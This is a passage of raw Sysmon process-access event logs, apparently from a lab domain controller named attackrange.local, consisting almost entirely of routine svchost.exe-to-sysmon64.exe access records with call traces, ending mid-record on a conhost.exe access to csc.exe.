{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 